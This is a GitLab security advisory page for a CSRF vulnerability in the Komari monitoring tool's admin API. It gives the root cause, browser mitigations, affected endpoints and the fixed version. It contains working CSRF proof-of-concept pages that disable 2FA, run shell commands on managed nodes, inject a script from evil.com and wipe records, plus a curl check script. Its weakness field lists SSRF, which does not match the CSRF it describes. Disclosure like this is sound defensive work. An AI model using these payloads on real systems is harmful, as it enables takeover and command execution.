Advisory Database
  • Advisories
  • Dependency Scanning
  1. golang
  2. ›
  3. github.com/komari-monitor/komari
  4. ›
  5. GHSA-hxjg-93wc-h8p8

GHSA-hxjg-93wc-h8p8: Komari: Management Interface CSRF

September 9, 2026

Vulnerability Overview

The session_token cookie is set without the SameSite or Secure attributes (login.go:68).

All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.

The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.

Root Cause

// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
//   Secure=false, SameSite not explicitly set
//   Admin route group (server.go:213-343) has no CSRF middleware

Gin’s ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.

Browser Limitations

  • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to SameSite=Lax.
  • Cookies without an explicit SameSite attribute are not included in cross-site POST requests.
  • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
ScenarioExploitable
Cross-site HTML (modern browsers)✗ Blocked by SameSite=Lax
Cross-site HTML (Chrome <80 / legacy browsers)✓
Same-origin context (Browser Console / existing XSS)✓
Man-in-the-middle over HTTP (Secure=false)✓

High-Impact Operations Reachable via CSRF

EndpointMethodImpact
/api/admin/task/execPOSTExecute arbitrary shell commands on managed nodes
/api/admin/2fa/disablePOSTDisable administrator two-factor authentication
/api/admin/settings/POSTModify system configuration
/api/admin/upload/backupPOSTUpload a malicious backup
/api/admin/record/clear/allPOSTDelete all monitoring records
/api/admin/client/:uuid/editPOSTModify client configuration
/api/admin/client/:uuid/removePOSTRemove managed clients
/api/admin/session/remove/allPOSTInvalidate all active sessions
/api/admin/settings/cloudflared/startPOSTStart a Cloudflared tunnel

PoC 1 — Disable 2FA

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="sink"></form>
<script>
  document.getElementById('f').submit();
</script>
</body>
</html>

PoC 2 — Remote Command Execution

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD    = "id && hostname && whoami";

fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
  .then(function(r){ return r.json(); })
  .then(function(data){
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(KOMARI + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command: CMD, clients: uuids })
    });
  });
</script>
</body>
</html>

PoC 3 — Modify System Configuration

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    "site_name": "Pwned",
    "custom_head": "<script src='https://evil.com/hook.js'><\/script>"
  })
});
</script>
</body>
</html>

PoC 4 — Clear All Monitoring Records

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
      action="https://komari.example.com/api/admin/record/clear/all"
      target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>

Verification Script

#!/bin/bash
KOMARI="${1:-https://komari.example.com}"

echo "=== CSRF Verification ==="

echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
  -X POST "$KOMARI/api/public/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i 'set-cookie'

echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
  -H "Origin: https://evil.com" \
  "$KOMARI/api/public/config" | grep -i 'access-control'

echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$KOMARI/api/admin/settings/" \
  -H "Content-Type: application/json" \
  -H "Origin: https://evil.com" \
  -d '{}')

echo "    HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."

References

  • github.com/advisories/GHSA-hxjg-93wc-h8p8
  • github.com/komari-monitor/komari/releases/tag/1.2.2
  • github.com/komari-monitor/komari/security/advisories/GHSA-hxjg-93wc-h8p8

Code Behaviors & Features

Detect and mitigate GHSA-hxjg-93wc-h8p8 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 0.0.0-20260609084633-98122fa4d110

Fixed versions

  • 0.0.0-20260609084633-98122fa4d110

Solution

Upgrade to version 0.0.0-20260609084633-98122fa4d110 or above.

Impact 8.8 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-918: Server-Side Request Forgery (SSRF)

Source file

go/github.com/komari-monitor/komari/GHSA-hxjg-93wc-h8p8.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 22 Sep 2026 12:20:02 +0000.